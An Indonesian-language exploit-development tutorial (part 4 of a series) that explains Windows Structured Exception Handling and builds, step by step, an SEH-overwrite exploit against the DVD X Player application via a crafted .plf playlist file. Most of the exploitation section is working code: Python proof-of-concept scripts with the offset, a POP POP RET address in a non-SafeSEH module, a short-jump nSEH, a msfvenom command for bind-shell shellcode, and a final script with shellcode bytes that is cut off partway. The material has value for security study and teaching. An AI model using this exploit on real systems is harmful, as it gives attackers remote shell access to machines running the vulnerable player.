Membangun Eksploitasi Windows Bagian 4: Menyiasati Structured Exception Handling (SEH)

Pada kesempatan kali ini, saya akan menjabarkan tentang bagaimana eksploitasi terhadap aplikasi yang menerapkan penanganan kesalahan atau pada pemrograman kita mengenalnya dengan exception. Penanganan kesalahan pada Windows ini disebut dengan Structured Exception Handling (SEH).

Pada tulisan sebelumnya saya sudah membahas stack-based overflow yang dapat mengambil alih aliran aplikasi dengan cara menimpa EIP. Pada pembahasan tersebut kondisi aplikasi tidak menerapkan penanganan kesalahan, sehingga EIP dapat terambil alih dengan mudah. Pada kesempatan kali ini, saya akan menjabarkan tentang bagaimana eksploitasi terhadap aplikasi yang menerapkan penanganan kesalahan atau pada pemrograman kita mengenalnya dengan exception. Penanganan kesalahan pada Windows ini disebut dengan Structured Exception Handling (SEH).

Sebelumnya perlu saya jelaskan bahwa yang akan saya bahas hanya sebatas konsep dasar dan bagaimana konsep ini dapat membantu dalam proses pembuatan eksploit. Ada beberapa jenis exception handling seperti termination handling, vectored exception handling, frame-based exception handling yang tidak dibahas disini. Agar dapat memahami lebih detail saya akan berikan beberapa literatur yang dapat dibaca pada akhir tulisan.

Apa sih structured exception handling?

Sederhananya structured exception handling atau SEH adalah mekanisme Windows untuk menangani kondisi kesalahan. Saya tidak menemukan padanan kata yang tepat dalam bahasa Indonesia untuk terjemahan kata exception yang secara harafiah terjemahannya adalah pengecualian. Mulai dari sini kata exception saya artikan sebagai penanganan kesalahan/error pada pemrograman.

Pembaca yang berangkat dari area pemrograman pasti pernah melihat susunan berikut dalam Visual C/C++ atau pada bahasa pemrograman lain

__try
{
    // kode yang dijalankan
}
__except ( expression )
{
    // kode yang dijalankan apabila kode di atas melempar kesalahan
}

Konsepnya sederhana, pada bagian __try akan menjalankan kode yang telah ditentukan dan apabila terjadi kesalahan, __except akan mengambil alih proses dan menjalankan apapun kode yang disediakan di bawahnya. Penanganan kesalahan ini dapat dilakukan oleh program atau dari sistem operasi Windows namun mekanisme penanganan kesalahan ini biasanya ditangani secara terpusat oleh Windows terlepas programmer menggunakan penanganan kesalahan sendiri (dalam programnya) atau tidak.

Struktur dari SEH

Untuk memahami bagaimana proses stack-based overflow dapat berfungsi ketika SEH terjadi, kita perlu melihat struktur SEH berikut yang mengandung exception registration record

typedef struct _EXCEPTION_REGISTRATION_RECORD
{
   struct _EXCEPTION_REGISTRATION_RECORD *Next;
   PEXCEPTION_ROUTINE Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

Setiap penanganan kesalahan mengandung exception registration record dan membentuk daftar yang saling berkaitan (linked list). Pada baris ketiga (*Next) merupakan penunjuk _EXCEPTION_REGISTRATION_RECORD berikutnya pada rangkaian SEH (SEH chain). Kita dapat melihat rangkaian SEH dari atas ke bawah dengan menggunakan alamat *Next. Baris keempat (Handler), adalah penunjuk ke fungsi penanganan kesalahan yang mempunyai struktur seperti ini:

 EXCEPTION_DISPOSITION
 __cdecl _except_handler(
     struct _EXCEPTION_RECORD *ExceptionRecord,
     void * EstablisherFrame,
     struct _CONTEXT *ContextRecord,
     void * DispatcherContext
     );

Pada fungsi _except_handler, parameter pertama pada fungsi ini merupakan penunjuk dari _EXCEPTION_RECORD berikut

typedef struct _EXCEPTION_RECORD {
        DWORD ExceptionCode;
        DWORD ExceptionFlags;
        struct _EXCEPTION_RECORD *ExceptionRecord;
        PVOID ExceptionAddress;
        DWORD NumberParameters;
        DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

Kita juga bisa melihat pada fungsi _EXCEPTION_RECORD di atas yang memegang informasi terkait penanganan kesalahan seperti kode penanganan kesalahan (ExceptionCode), alamat dan jumlah parameternya (ExceptionAddress dan ExceptionInformation).

Fungsi _except_handler menggunakan informasi di atas untuk menentukan apakah sebuah penanganan kesalahan dapat ditangani, apabila tidak dapat ditangani maka proses akan berlanjut pada catatan penanganan kesalahan berikutnya. Nilai kembali dari EXCEPTION_DISPOSITION yang dihasilkan dari fungsi _except_handler memberitahu sistem operasi apakah proses penanganan kesalahan berhasil ditangani (menghasilkan nilai untuk parameter ExceptionContinueExecution) atau harus dilanjutkan ke penanganan kesalahan berikutnya (ExceptionContinueSearch).

Kesimpulannya, ketika ada kesalahan dalam menjalankan sebuah fungsi, Windows memulai rangkaian penanganan kesalahan dengan memeriksa fungsi penanganan _EXCEPTION_REGISTRATION_RECORD apakah fungsi ini bisa menangani kesalahan (berdasarkan informasi dari parameter ExceptionRecord dan ContextRecord). Jika penanganan kesalahan gagal, proses akan berlanjut ke _EXCEPTION_REGISTRATION_RECORD berikutnya (menggunakan alamat yang ditunjuk oleh *Next). Proses ini terus berlanjut sampai ketemu fungsi penanganan kesalahan yang tepat. Jika pada akhirnya penanganan kesalahan yang tepat tidak pernah ditemukan, Windows sudah menyiapkan penanganan kesalahan terakhir yang sering kita lihat sebagai jendela pesan kesalahan “… has encountered a problem and needs to close“. Penanganan kesalahan ini direpresentasikan dengan FFFFFFFF.

Setiap thread memiliki rangkaian SEH masing-masing. Windows dapat melihat rangkaian ini dengan mendapatkan referensi dari daftar penanganan kesalahan (ExceptionList) dari setiap blok informasi thread (TIB/TEB) yang berada pada lokasi FS:[0]. Kalau digambarkan secara sederhana, akan terlihat seperti ini:

Diagram proses penanganan kesalahan (SEH)

Diagram di atas saya sadur dari tulisan Mike Czumak yang menurut saya dapat merangkum penjelasan SEH dengan baik.

Gambaran SEH pada aplikasi

Untuk mendapatkan gambaran rangkaian SEH dari sebuah aplikasi, saya akan menggunakan program yang memang memiliki kerentanan buffer overflow yaitu program DVD X Player. Silakan unduh dan pasang program-program berikut:

Ketika memasang Windows Debugger (WinDbg), pada proses instalasi hanya pilih Debugging Tools for Windows

sdk download options showing just the debugger box checked

Setelah terpasang, jalankan WinDbg versi x86 (bukan yang x64) lalu atur Workspace dengan cara menekan Alt+1, Alt+4, Alt+5, dan Alt+7. Jendela Command, Registers, Memory dan Disassembly akan terbuka. Atur jendela-jendela tersebut sesuai cuplikan layar di bawah ini (atau sesuai keinginan)

Workspace WinDbg

Setelah itu atur Symbol Path dengan menekan Ctrl+S dan isikan dengan

SRV*C:\symbols*https://msdl.microsoft.com/download/symbols
Konfigurasi symbol search path

Jangan lupa membuat folder di lokasi C:\symbols untuk menyesuaikan konfigurasi dengan lokasi Symbol Path di atas. Setelah itu simpan workspace di atas dengan cara memilih File -> Save Workspace.

Langkah berikutnya kita jalankan DVD X Player. Lalu pada WinDbg pilih File -> Attach to a Process atau tekan F6, pilih DVDXPlayer.exe. Pada jendela Command, ketikkan !teb yang akan menghasilkan informasi Thread Environment Block (TEB) seperti berikut

0:001> !teb
TEB at 003a0000
    ExceptionList:        0097ff60
    StackBase:            00980000
    StackLimit:           0097c000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 003a0000
    EnvironmentPointer:   00000000
    ClientId:             00000d08 . 00001c78
    RpcHandle:            00000000
    Tls Storage:          00000000
    PEB Address:          0038e000
    LastErrorValue:       0
    LastStatusValue:      0
    Count Owned Locks:    0
    HardErrorMode:        0

Kita dapat melihat daftar rangkaian SEH yang dimulai pada alamat 0097ff60, kita juga bisa melihat daftar rangkaian SEH ini dengan melakukan dump berikut

0:001> dd fs:[0]
0053:00000000  0097ff60 00980000 0097c000 00000000
0053:00000010  00001e00 00000000 003a0000 00000000
0053:00000020  00000d08 00001c78 00000000 00000000
0053:00000030  0038e000 00000000 00000000 00000000
0053:00000040  00000000 00000000 00000000 00000000
0053:00000050  00000000 00000000 00000000 00000000
0053:00000060  00000000 00000000 00000000 00000000
0053:00000070  00000000 00000000 00000000 00000000

Kita bisa melihat rangkaian SEH dengan cara melakukan dump pada alamat 0097ff60.

0:001> dd 0097ff60
0097ff60  0097ffcc 773da040 9c1d7a86 00000000
0097ff70  0097ff80 76256359 00000000 76256340
0097ff80  0097ffdc 773c7c24 00000000 ebcce34a
0097ff90  00000000 00000000 00000000 00000000
0097ffa0  00000000 00000000 00000000 00000000
0097ffb0  00000000 00000000 00000000 00000000
0097ffc0  00000000 0097ff8c 00000000 0097ffe4
0097ffd0  773da040 9c1d7f3e 00000000 0097ffec
0:001> dd 0097ffcc
0097ffcc  0097ffe4 773da040 9c1d7f3e 00000000
0097ffdc  0097ffec 773c7bf4 ffffffff 773e8fe0
0097ffec  00000000 00000000 7740acb0 00000000
0097fffc  00000000 00000000 00000000 00000000
0098000c  00000000 00000000 00000000 00000000
0098001c  00000000 00000000 00000000 00000000
0098002c  00000000 00000000 00000000 00000000
0098003c  00000000 00000000 00000000 00000000
0:001> dd 0097ffe4
0097ffe4  ffffffff 773e8fe0 00000000 00000000
0097fff4  7740acb0 00000000 00000000 00000000
00980004  00000000 00000000 00000000 00000000
00980014  00000000 00000000 00000000 00000000
00980024  00000000 00000000 00000000 00000000
00980034  00000000 00000000 00000000 00000000
00980044  00000000 00000000 00000000 00000000
00980054  00000000 00000000 00000000 00000000

Terlihat bahwa pada awal dump di alamat 0097ff60, 4 bytes pertama merupakan referensi ke Exception Registration Record berikutnya (0097ffcc) diikuti oleh SEH (773da040). Kita juga bisa melihat rangkaian seluruh SEH dengan mengetik !exchain

0:001> !exchain
0097ff60: ntdll!_except_handler4+0 (773da040)
  CRT scope  0, filter: ntdll!DbgUiRemoteBreakin+3b (7740aceb)
                func:   ntdll!DbgUiRemoteBreakin+3f (7740acef)
0097ffcc: ntdll!_except_handler4+0 (773da040)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+3ad46 (7740293b)
                func:   ntdll!__RtlUserThreadStart+3addf (774029d4)
0097ffe4: ntdll!FinalExceptionHandlerPad32+0 (773e8fe0)
Invalid exception stack at ffffffff

Kita juga dapat melihatnya di jendela Memori, dengan lebih dahulu mengganti Display Format menjadi Pointer dan Symbol:

Posisi Next SEH dan SEH pada memori stack

Untuk melihatnya pada debugger lain seperti OllyDbg atau ImmunityDbg, lakukan detach program dengan cara memilih menu Debug – Detach Debuggee, lalu tempel proses DVDXPlayer.exe pada OllyDbg/ImmunityDbg, lalu kita bisa lihat pada menu View – SEH chain (kondisi program dalam keadaan terhenti (pause)).

Rangkaian SEH dilihat dari OllyDbg/ImmunityDbg

Pada saat kita sudah mendapatkan gambaran fundamental bagaimana penanganan kesalahan (SEH)pada Windows bekerja.

Proteksi terhadap SEH

SEH pada dasarnya bukan sebuah proteksi melainkan sebuah fitur. SEH dibuat untuk menangani kesalahan pada program agar apabila ada kegagalan dapat ditangani dengan baik. Sejak Windows XP SP1, penerapan exception pada pemrograman sudah menjadi standar dan memaksa pembuat eksploit mencari cara untuk menyiasati SEH. Teknik untuk menyiasati SEH akan dibahas pada tulisan ini termasuk bagaimana melewati proteksi SafeSEH.

Proteksi SafeSEH merupakan fitur yang ditambahkan pada compiler. Dengan menambahkan opsi /SAFESEH maka modul yang di-compile menggunakan opsi ini akan membuat daftar alamat penanganan kesalahan (SEH) yang berlaku untuk program tersebut. Apabila kita berusaha mengganti alamat SEH dengan alamat lain, alamat tersebut tidak akan dimuat dalam SEH dan program akan melanjutkan ke penanganan selanjutnya (Next SEH). Selain SafeSEH, proteksi pada Windows seperti ASLR (Address Space Layout Randomization) dan DEP (Data Execution Prevention) juga berperan dalam menyulitkan dalam pembuatan eksploit.

Eksploitasi SEH pada DVD X Player

Jika kita perhatikan pada proses eksploitasi stack-based overflow, kondisi yang dialami sebenarnya sama hanya saja ketika ada SEH, maka proses eksploitasi tersebut terhalang oleh SEH sehingga dapat mencegah proses eksploitasi (jika diimplementasi dengan baik).

Pada proses eksploitasi yang menggunakan SEH sebagai penanganan kesalahan, kita dapat mengeksploitasinya dengan cara membanjiri memori stack sampai rangkaian Next SEH dan SEH terisi (tertimpa) oleh buffer sehingga proses penanganan kesalahan terpicu oleh keadaan ini, Windows SEH kemudian berusaha menangani keadaan tersebut namun SEH (Handler) telah tertimpa oleh buffer. Ketika SEH tertimpa oleh buffer maka penunjuk instruksi (EIP) yang seharusnya mengeksekusi _except_handler malah mengeksekusi alamat yang tidak ada (alamat buffer). Diagram sebelumnya pada stack-based overflow dapat diperbarui dengan adanya SEH seperti ini

Jika kita membanjiri stack memori dengan buffer yang kita kontrol, maka akan seperti ini

Dari penjelasan di atas kita dapat mengetahui bahwa untuk mengeksploitasi SEH, kita perlu membanjiri memori stack sampai Next SEH dan SEH tertimpa dan memicu mekanisme penanganan kesalahan yang mengarahkan kita pada EIP.

Kita akan mencoba mereplika proses pembuatan eksploit program DVD X Player yang eksploitnya dapat kita lihat di Exploit-DB (https://www.exploit-db.com/exploits/17745). Setelah diperhatikan, program DVD X Player mengalami stack-based overflow ketika memuat file playlist dengan format .plf. Berikut ini skrip proof of concept yang saya buat dengan nama 1.py untuk keperluan replikasi.

#!/usr/bin/python
file = 'sploit-1.plf'
buf = b'A' * 5000
f = open(file,'wb')
print ("Payload size: %d" %len(buf))
f.write(buf)
print ("File",file, "successfully created")
f.close()

Skrip di atas akan menghasilkan file sploit-1.plf yang akan memicu crash terhadap program DVD X Player. Untuk memicunya, buka program DVD X Player, lalu pilih Open Playlist.. dan pilih file sploit-1.plf.

Sesaat setelah file tersebut dipilih untuk dibuka, program DVD X Player langsung tertutup paksa. Untuk melihat apa yang terjadi, sebaiknya kita debug dengan OllyDbg. Kita ulangi proses sebelumnya, namun kali ini program DVD X Player ditempelkan ke OllyDbg.

Kondisi stack-based overflow pada DVD X Player

Bisa kita lihat di bagian bawah bahwa terdapat pesan kesalahan Access violation when writing to [001A0000]. Kita juga bisa melihat bahwa kondisi tersebut disebabkan oleh instruksi

REPS MOVS DWORD PTR ES:[EDI], DWORD PTR DS:[ESI]

Jika dinaikkan sedikit pada jendela disassembly, terlihat bahwa instruksi yang bertanggung jawab atas kondisi ini adalah

NOT ECX
SUB EDI,ECX
MOV EAX,ECX
MOV ESI,EDI
MOV EDI,DWORD PTR SS:[ESP+10]
SHR ECX,2
REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

Pada kondisi di atas, perintah MOVS menyalin data dari DS: [ESI] ke ES: [EDI]. REPS pada awalan instruksi menandakan repetisi instruksi atas instruksi tersebut. Karena ESI berisi buffer yang kita kontrol, proses salin menyalin ini gagal dan menyebabkan Access violation when writing to [001A0000]. Bagaimana dengan rangkaian SEH?

Rangkaian SEH tertimpa dengan buffer yang dikontrol

Seperti yang sudah diduga, SEH tertimpa dengan buffer yang kita kontrol. Lalu bagaimana cara kita mengarahkan aliran program (EIP) ke buffer yang kita kontrol? Jika pada stack-based overflow kita dapat menggunakan instruksi JMP/CALL ESP, pada kondisi stack-based overflow dengan SEH sedikit berbeda.

Ingat parameter EstablisherFrame pada fungsi _except_handler ketika SEH tereksekusi?

 EXCEPTION_DISPOSITION
 __cdecl _except_handler(
     struct _EXCEPTION_RECORD *ExceptionRecord,
     void * EstablisherFrame,
     struct _CONTEXT *ContextRecord,
     void * DispatcherContext
     );

Ketika fungsi _except_handler ini dipanggil, parameter EstablisherFrame berada pada ESP+8 di memori stack. Pada alamat ini mengandung _EXCEPTION_REGISTRATION_RECORD yang merupakan bagian dari Next SEH yang sudah kita kontrol (alamat 0019F4CC, sesuai cuplikan layar di atas). Kita dapat melihat alamat _EXCEPTION_REGISTRATION_RECORD ini dengan cara membiarkan penanganan kesalahan melanjutkan tugasnya yaitu dengan menjalankan Ctrl+Shift+F9. Proses penanganan kesalahan akan mengeksekusi isi dari alamat 0019F4CC (yang seharusnya adalah Next SEH dan diikuti oleh 4 bytes SEH) namun karena pada alamat tersebut sudah terisi buffer yang kita kontrol maka aliran aplikasi yang seharusnya mengeksekusi alamat SEH (handler) untuk menangani kesalahan malah mengeksekusi buffer yang kita kontrol yaitu 41414141.

SEH terambil alih dan EIP menunjuk ke buffer yang kita kontrol

Lalu bagaimana cara kita dapat membuat EstablisherFrame pada ESP+8 langsung dieksekusi oleh EIP ketika proses penanganan kesalahan terjadi? Ada banyak jalan namun cara paling umum adalah dengan menimpa isi SEH dengan alamat yang mengandung urutan POP REG + POP REG + RETN agar ESP+8 dapat dieksekusi oleh EIP.

Jika kita asumsikan dari cuplikan layar di atas, EIP akan diisi dengan alamat ke urutan POP REG + POP REG + RETN sehingga eksekusinya akan mengambil 2 baris teratas dari memori stack dan kembali (RETN) ke alamat 0019F4CC, dan alamat ini merupakan alamat Next SEH. Dari alamat Next SEH yang berisi buffer yang kita kontrol, kita hanya tinggal “melewati” alamat SEH dengan cara meloncatinya agar mencapai buffer yang sudah kita kontrol (buffer ini dapat kita isi dengan apa saja, misal: shellcode). Dari penjelasan ini mungkin sedikit membingungkan, namun apabila digambarkan akan seperti ini:

Alur eksploitasi SEH

Diagram di atas dapat dijelaskan seperti ini:

  1. Posisi ini ketika buffer dikirim dan diproses sehingga kesalahan memicu SEH
  2. Karena posisi EstablisherFrame ada di ESP+8 dan posisi ini memegang alamat Next SEH, maka kita dapat mengambil alih EIP melalui SEH. Jika SEH kita ganti dengan alamat ke instruksi POP REG + POP REG + RETN maka aliran aplikasi akan membawa kita ke Next SEH.
  3. Ketika aliran aplikasi mengarah ke Next SEH, maka kita tinggal mengisi Next SEH dengan instruksi yang dapat membawa kita kembali ke buffer yang kita kontrol. Instruksi yang dapat kita isi adalah instruksi JMP SHORT yang memiliki opcode \xeb\x00 (00 dapat kita ganti dengan jumlah byte yang diinginkan, misal untuk melompat sejauh 16 byte maka opcode menjadi \xeb\x16). Instruksi ini hanya butuh 2 byte saja.
  4. Pada lokasi ini buffer yang kita kontrol bisa kita ganti dengan shellcode sehingga ketika proses eksploitasi terjadi, shellcode akan tereksekusi.

Membuat Eksploit DVD X Player

Setelah penjelasan yang panjang, tiba saatnya untuk menerapkan penjelasan di atas dalam sebuah proses pembuatan eksploit DVD X Player. Seperti proses stack-based overflow pada tulisan Bagian 2, kita perlu mengetahui karakter A (buffer) keberapa yang menimpa SEH. Untuk itu segera kita jalankan skrip pattern_create.rb seperti pada proses yang sudah kita ketahui sebelumnya lalu segera memperbarui skrip 1.py dan menyimpannya menjadi 2.py

#!/usr/bin/python
file = 'sploit-2.plf'
buf = b'(5000 karakter hasil dari pattern_create.rb)'
f = open(file,'wb')
print ("Payload size: %d" %len(buf))
f.write(buf)
print ("File",file, "successfully created")
f.close()

Ulangi proses di atas dengan cara menjalankan skrip 2.py, lalu pilih Open Playlist.. dan pilih file sploit-2.plf pada program DVD X Player. Jangan lupa tempelkan program DVD X Player ke OllyDbg sebelum membuka file sploit-2.plf agar proses crash dapat tertangkap. Setelah file .plf tersebut dimuat oleh DVD X Player, OllyDbg akan menangkap proses crash. Kita dapat melihat pada jendela SEH chain bahwa SEH (handler) tertimpa dengan karakter 0x33614132

SEH berisi alamat hasil pattern_create.rb

Kita akan menggunakan skrip pattern_offset.rb milik Metasploit untuk mengetahui karakter keberapakah yang menimpa SEH.

Karakter yang menimpa SEH

Hasil dari skrip pattern_offset.rb terhadap karakter yang menimpa SEH yaitu karakter ke-872. Kita akan memperbarui skrip 2.py dan disesuaikan dengan hasil dari pattern_offset untuk melihat apakah perhitungan dan posisinya sudah sesuai. Berikut adalah skrip 3.py sesuai kondisi di atas.

#!/usr/bin/python
file = 'sploit-3.plf'
buf = b'A' * 868
nseh = b'CCCC'      # Next SEH tertimpa pada karakter ke 872 (868+4)
seh = b'BBBB'       # SEH tertimpa pada karakter ke 876 (872+4)
sisa = b'D' * (5000 - len(buf+nseh+seh))
payload = buf+nseh+seh+sisa
f = open(file,'wb')
print ("Payload size: %d" %len(payload))
f.write(payload)
print ("File",file, "successfully created")
f.close()

Jika digambarkan dalam bentuk diagram, maka yang terjadi seperti ini.

Diagram aliran eksploitasi SEH
Alamat SEH tertimpa dengan BBBB
Posisi Next SEH berisi karakter CCCC

Pada cuplikan layar di atas, posisi Next SEH dan SEH sudah sangat sesuai dengan skrip 3.py. Kita hanya tinggal mencari alamat yang menunjuk ke urutan POP REG + POP REG + RETN. Alamat ke POP POP RET dapat kita temukan disetiap modul yang dimuat oleh program DVDXPlayer.exe. Jika para pembaca ingat pada tulisan sebelumnya, proses mencari alamat POP POP RET dapat kita lakukan dengan menggunakan Find sequence of commands pada salah satu modul yang dimuat oleh program DVDXPlayer.exe.

Melewati proteksi SafeSEH, ASLR, dan DEP

Sebelum mencari alamat urutan instruksi tersebut, kita harus dapat mengidentifikasi jenis-jenis proteksi yang mungkin ada pada modul-modul yang dimuat oleh program DVDXPlayer.exe. Proteksi yang dimaksud adalah proteksi SafeSEH, ASLR, dan DEP. Untuk dapat melihat proteksi-proteksi pada modul tersebut kita dapat menggunakan tool berikut.

OllySEH (Plugin OllyDbg)

OllySEH merupakan plugin untuk OllyDbg versi 1.10. Plugin ini berfungsi untuk mendeteksi proteksi pada modul-modul yang dimuat oleh program utama (DVDXPlayer.exe). Pada versi terakhir, pembuat OllySEH memberikan ekstra fitur dengan adanya deteksi tambahan informasi terhadap DEP dan ASLR. OllySEH dapat diunduh di: https://github.com/marioballano/ollysseh

Mona

Mona merupakan skrip python yang dibuat untuk Immunity Debugger dan Windows Debugger. Mona memiliki banyak fitur seperti memberikan informasi proteksi setiap modul, membuat karakter acak seperti pattern_create.rb, mencari instruksi untuk JMP, atau rangkaian urutan instruksi lainnya, membuat template modul Metasploit, melakukan pencarian karakter badchars, dan lain sebagainya. Bahkan Mona dapat memberikan informasi rangkaian ROP gadget yang dibutuhkan untuk melewati proteksi DEP. Pada bagian tulisan lain saya akan menggunakan skrip Mona sebagai alat bantu untuk mempercepat proses pembuatan eksploit. Mona dibuat hanya untuk sistem 32-bit dan dapat diunduh di: https://github.com/corelan/mona

Pada tulisan kali ini, kita akan menggunakan plugin OllyDbg yaitu OllySEH. Silakan diunduh filenya, ekstrak file OllySEH.dll lalu tempatkan di direktori yang sama dengan direktori OllyDbg. Setelah itu jalankan OllyDbg, lalu lihat pada menu plugin dan pastikan menu SafeSEH ada disana.

Plugin SafeSEH pada OllyDbg 1.10

Untuk melihat jenis proteksi yang ada pada program DVDXPlayer.exe dan modul-modul yang dimuat oleh program tersebut, kita muat program DVDXPlayer.exe lalu pilih Plugins -> SafeSEH -> Scan /SafeSEH Modules.

Hasil scan terhadap modul-modul DVDXPlayer.exe

Terlihat pada bagian modul yang berwarna merah merupakan daftar modul-modul yang ketika di-compile tidak menggunakan opsi /SafeSEH (/SafeSEH OFF). Plugin OllySEH juga memberikan informasi terkait dengan penggunaan ASLR dan DEP, yang rupanya juga OFF atau tidak diaktifkan pada modul-modul tersebut. Apabila kita menggunakan (meminjam) salah satu alamat dari modul-modul tersebut untuk penggunaan rangkaian urutan instruksi POP POP RET maka proses eksekusi eksploitasi akan terbebas dari proteksi SafeSEH, ASLR, dan DEP.

Mencari alamat POP POP RET

Setelah kita mengetahui bahwa beberapa modul bawaan dari DVD X Player tidak di-compile dengan SafeSEH, ASLR, dan DEP maka kita dapat menggunakan salah satu modul tersebut untuk mencari alamat urutan instruksi POP POP RET. Untuk tulisan ini saya memilih MediaPlayerCtrl.dll. Masih ingat cara mencarinya? Caranya sama persis ketika kita mencari JMP ESP pada tulisan sebelumnya, kita pilih dulu modulnya dengan meng-klik 2 kali pada modul MediaPlayerCtrl.dll melalui menu E yang ada di deretan taskbar. Setelah itu, alih-alih menggunakan Ctrl-F, kita akan menggunakan Ctrl-S untuk memunculkan jendela Find sequence of commands lalu saya isi dengan rangkaian instruksi berikut

Mencari rangkaian urutan instruksi POP POP RET

Setelah itu tekan Find. Alamat awal yang ditemukan memiliki alamat 6400b0f0, meskipun kita belum mencari karakter-karakter badchars, alamat ini kemungkinan tidak dapat digunakan karena mengandung karakter \x00 (null byte). Untuk melanjutkan pencarian, tekan Ctrl-L. Setelah memilih-milih alamat POP POP RET yang akan digunakan, saya memilih alamat 0x64020494 dengan alasan alamat ini aman. Alamat ini mengandung karakter heksa dari \x01-\x7F yang merupakan representasi dari karakter di keyboard sehingga minim (walaupun tetap ada kemungkinan) ditolak oleh program.

Alamat rangkaian urutan instruksi POP POP RET

Karena kita sudah menemukan alamat POP POP RET yang akan kita isi untuk menimpa SEH, apa yang akan kita isi pada posisi Next SEH? Sesuai diagram di atas, tentu saja posisi Next SEH akan kita isi dengan instruksi untuk melompat (sebanyak minimal 6-8 bytes lebih tidak apa-apa) ke buffer yang kita kontrol (yang akan kita isi dengan shellcode) . Kita langsung lihat saja prosesnya dengan memperbarui skrip sebelumnya dan menyimpannya dengan nama 4.py

#!/usr/bin/python
file = 'sploit-4.plf'
buf = b'A' * 868
nseh = b'\xeb\x08\x90\x90'  # lokasi di 868+4
seh = b'\x94\x04\x02\x64'   # lokasi di 872+4 - 0x64020494 pop edi  pop esi  retn MediaPlayerCtrl.dll
sisa = b'\xcc' * (5000 - len(buf+nseh+seh))
payload = buf+nseh+seh+sisa
f = open(file,'wb')
print ("Payload size: %d" %len(payload))
f.write(payload)
print ("File",file, "successfully created")
f.close()

Jika diperhatikan pada baris ke-5, variabel nseh yang adalah Next SEH diisi dengan karakter \xeb\x08\x90\x90 yang dapat dijelaskan seperti ini

\xeb - merupakan opcode dari instruksi JMP SHORT
\08 - jumlah byte yang akan dipakai sebagai lompatan
\x90\x90 - NOPsled

Ketika file sploit-4.plf dimuat ke program DVDXPlayer.exe, kesalahan terjadi dan tertangkap oleh OllyDbg. Pada saat ini SEH belum terpicu, namun bisa kita lihat pada rangkaian SEH (jendela SEH chain) bahwa pada posisi ini SEH telah diisi dengan POP EDI # POP ESI # RETN meminjam dari modul MediaPlayerCtrl.dll di alamat 0x64020494.

seh chain
SEH sudah terisi dengan alamat POP POP RET

Untuk dapat melihat proses penanganan kesalahan dan proses eksploitasinya, kita akan memasang breakpoint pada alamat 0x64020494. Untuk memasang breakpoint, klik 2x pada alamat 0x64020494 lalu tekan F2. Sehingga ketika penanganan kesalahan terpicu, proses akan mengarah ke SEH dan berhenti karena breakpoint. Untuk memicunya kita bisa teruskan prosesnya ke SEH dengan cara menekan Ctrl+Shift+F9. Setelah prosesnya diteruskan, penanganan kesalahan akan terpicu lalu proses ini akan membawa kita ke alamat POP POP RET yang sudah di breakpoint.

Instruksi POP POP RET yang membawa ke Next SEH

Bisa kita lihat pada cuplikan layar di atas bahwa instruksi POP EDI akan menarik alamat teratas pada memori stack (0019EB98) ke register EDI. Lalu POP ESI akan membawa alamat teratas selanjutnya (0019EB9C) ke register ESI dan setelah POP ESI menarik alamat 0019EB9C ke register ESI, instruksi selanjutnya adalah RET yang akan mengembalikan EIP ke posisi yang ditunjuk oleh memori stack paling atas (ESP). Posisi teratas di memori stack adalah alamat 0019EBA0 yang memiliki nilai 0019F4CC. Alamat ini adalah alamat Next SEH. Sehingga secara keseluruhan proses POP POP RET mengembalikan aliran proses penanganan kesalahan ke posisi Next SEH. Silakan menekan F7 (step into) untuk melihat aliran proses mengeksekusi RET dan mengarahkan aliran ke Next SEH.

Eksekusi Next SEH membawa aliran proses ke buffer yang kita kontrol

Pada posisi Next SEH sudah menunggu instruksi selanjutnya yaitu \xeb\x08\x90\x90 yang akan melompati alamat SEH ke buffer yang kita kontrol. Jika pada posisi 0019F4CC kita ikut prosesnya dengan menekan F7, maka aliran proses akan berlanjut ke 0019F4D6 dan posisi ini merupakan lokasi buffer yang kita kontrol (pada saat ini kita isi dengan \xcc). Apabila lokasi buffer yang kita kontrol ini kita isi dengan shellcode maka proses selanjutnya sudah dapat ditebak yaitu shellcode tersebut akan tereksekusi.

Mencari karakter badchars

Sebelum mengisi buffer yang kita kontrol dengan shellcode, kita wajib memeriksa apakah ada karakter yang ditolak oleh memori proses. Tahap ini sangat penting karena apabila kita gagal mengidentifikasi karakter badchars maka shellcode yang akan kita pakai tidak dapat berfungsi dengan baik. Proses mencari karakter badchars sudah saya jelaskan pada tulisan sebelumnya.

Catatan: Pada saat mencari badchars saya langsung melihat modul eksploit milik Metasploit yang sudah jadi (https://www.exploit-db.com/exploits/17770) dan sebagai referensi, meminjam karakter-karakter yang menjadi badchars, yaitu karakter \x00\x0a\x0d\1a. Namun rupanya shellcode yang dihasilkan dengan msfvenom dan membuang karakter badchars masih belum berfungsi. Saya curiga masih ada badchars yang belum teridentifikasi sehingga merusak shellcode sehingga saya memutuskan untuk mengulangi proses pencarian badchars dan menemukan sisa badchars tersebut. Silakan para pembaca mencari sisa karakter-karakter badchars yang belum teridentifikasi tersebut sebagai latihan 🙂

Finalisasi eksploit

Setelah kita menemukan karakter-karakter badchars kita bisa segera membuat shellcode dengan msfvenom (saya akan menggunakan shell_bind_tcp)

kali@kali:~$ sudo msfvenom -p windows/shell_bind_tcp -b "\x00\x0a\x0d\x1a" -f python -v shellcode

Lalu memperbarui skrip terakhir dan menyimpannya dengan nama 5.py

#!/usr/bin/python
#badchars adalah 00,0a,0d,1a
#msfvenom -p windows/shell_bind_tcp -b "\x00\x0a\x0d\x1a" -f python -v shellcode
#Payload size: 352 bytes
shellcode =  b""
shellcode += b"\x33\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0"
shellcode += b"\x5e\x81\x76\x0e\x80\x4f\x2c\xf4\x83\xee\xfc"
shellcode += b"\xe2\xf4\x7c\xa7\xae\xf4\x80\x4f\x4c\x7d\x65"
shellcode += b"\x7e\xec\x90\x0b\x1f\x1c\x7f\xd2\x43\xa7\xa6"
shellcode += b"\x94\xc4\x5e\xdc\x8f\xf8\x66\xd2\xb1\xb0\x80"
shellcode += b"\xc8\xe1\x33\x2e\xd8\xa0\x8e\xe3\xf9\x81\x88"
shellcode += b"\xce\x06\xd2\x18\xa7\xa6\x90\xc4\x66\xc8\x0b"
shellcode += b"\x03\x3d\x8c\x63\x07\x2d\x25\xd1\xc4\x75\xd4"
